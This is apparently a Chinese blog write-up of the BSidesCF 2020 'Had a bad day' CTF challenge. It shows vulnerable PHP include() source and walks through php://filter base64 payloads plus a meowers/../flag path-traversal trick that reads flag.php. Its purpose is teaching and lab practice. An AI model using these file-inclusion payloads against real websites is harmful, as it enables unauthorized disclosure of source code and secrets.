[BSidesCF 2020]Had a bad day

发布时间 2023-10-08 11:57:49作者: 圆弧状态

原理

文件包含
liunx对不存在目录不敏感
伪协议利用

解题过程

进入靶场可以看到两个按钮,点其中一个,会传递category参数,然后会出现随机图片,两个按钮的参数值不一样,查看页面原代码证实了这样的操作

试试修改category值,发现只让有两个值其中一个

那再修改参数值,发现涉及include函数,是文件包含

参照文件包含伪协议的利用来构造payload,试试读取index文件源码,发现报错多了一个后缀,猜测是源码有连接后缀名

重新修改payload

category=php://filter/read=convert.base64-encode/resource=index

取打印出来的base64值解码,得到php源码为

<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

查找strpos函数得知作用是返回woofers第一次出现的位置,没有则返回false,从源码可以看出,需要参数值包含woofers或者meowers或者index

插一个知识点是PHP对文件是否存在不关心,因为他只关心你最终所在的目录位置,甚至中间多套几层也不影响
所以可以构造payload去尝试读取flag.php文件

category=php://filter/read=convert.base64-encode/resource=meowers/../flag

对base64解码即可获得flag,注意打印的base64多了个/,要去掉
参考文章:https://blog.csdn.net/weixin_44508748/article/details/108162951.
https://blog.51cto.com/u_15061934/4520192
https://blog.csdn.net/weixin_44508748/article/details/108162951.